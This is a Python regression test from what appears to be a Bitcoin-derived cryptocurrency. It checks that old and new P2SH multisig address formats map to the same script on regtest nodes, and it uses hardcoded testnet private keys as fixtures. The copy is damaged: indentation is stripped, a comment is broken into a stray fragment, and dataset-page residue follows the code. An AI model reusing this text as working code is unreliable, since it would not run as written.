class ScriptAddress2Test(BitcoinTestFramework):
def __init__(self):
super().__init__()
self.num_nodes = 3
self.setup_clean_chain = False
def setup_network(self):
self.nodes = []
self.nodes.append(start_node(0, self.options.tmpdir, []))
self.nodes.append(start_node(1, self.options.tmpdir, []))
self.nodes.append(start_node(2, self.options.tmpdir, []))
connect_nodes(self.nodes[1], 0)
connect_nodes(self.nodes[2], 0)
self.is_network_split = False
self.sync_all()
def run_test(self):
cnt = self.nodes[0].getblockcount()
self.nodes[1].generate(100)
self.sync_all()
if (self.nodes[0].getblockcount() != cnt + 100):
raise AssertionError("Failed to mine 100 blocks")
addr = self.nodes[0].getnewaddress()
addr2 = self.nodes[0].getnewaddress()
multisig_addr = self.nodes[0].addmultisigaddress(2, [addr, addr2], "multisigaccount")
assert_equal(multisig_addr[0], 'Q')
txid = self.nodes[1].sendtoaddress(multisig_addr, 1)
block = self.nodes[1].generate(3)
self.sync_all()
tx = self.nodes[2].getrawtransaction(txid, 1)
dest_addrs = [tx["vout"][0]['scriptPubKey']['addresses'][0],
tx["vout"][1]['scriptPubKey']['addresses'][0]]
assert(multisig_addr in dest_addrs)
addr3 = self.nodes[1].getnewaddress()
txid = self.nodes[0].sendfrom("multisigaccount", addr3, 0.8)
block = self.nodes[0].generate(2)
self.sync_all()
assert(self.nodes[0].getbalance("multisigaccount", 1) < 0.2)
assert(self.nodes[1].listtransactions()[-1]['address'] == addr3)
priv_keys = ["cU7eeLPKzXeKMeZvnEJhvZZ3tLqVF3XGeo1BbM8dnbmV7pP3Qg89",
"cTw7mRhSvTfzqCt6MFgBoTBqwBpYu2rWugisXcwjv4cAASh3iqPt"]
addrs = ["mj6gNGRXPXrD69R5ApjcsDerZGrYKSfb6v",
"mqET4JA3L7P7FoUjUP3F6m6YsLpCkyzzou"]
self.nodes[0].importprivkey(priv_keys[0])
self.nodes[0].importprivkey(priv_keys[1])
multisig_addr_new = self.nodes[0].addmultisigaddress(2, addrs, "multisigaccount2")
assert_equal(multisig_addr_new, "QZ974ZrPrmqMmm1PSVp4m8YEgo3bCQZBbe")
multisig_addr_old = "2N5nLwYz9qfnGdaFLpPn3gS6oYQbmLTWPjq"
he old
## address and the new one are the same thing.
txid = self.nodes[1].sendtoaddress(multisig_addr_old, 1)
block = self.nodes[1].generate(1)
self.sync_all()
tx = self.nodes[2].getrawtransaction(txid, 1)
dest_addrs = [tx["vout"][0]['scriptPubKey']['addresses'][0],
tx["vout"][1]['scriptPubKey']['addresses'][0]]
assert(multisig_addr_new in dest_addrs)
assert(multisig_addr_old not in dest_addrs)
# Spend from the new multisig address
addr4 = self.nodes[1].getnewaddress()
txid = self.nodes[0].sendfrom("multisigaccount2", addr4, 0.8)
block = self.nodes[0].generate(2)
self.sync_all()
assert(self.nodes[0].getbalance("multisigaccount2", 1) < 0.2)
assert(self.nodes[1].listtransactions()[-1]['address'] == addr4)
if __name__ == '__main__':
ScriptAddress2Test().main()
| true | true |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.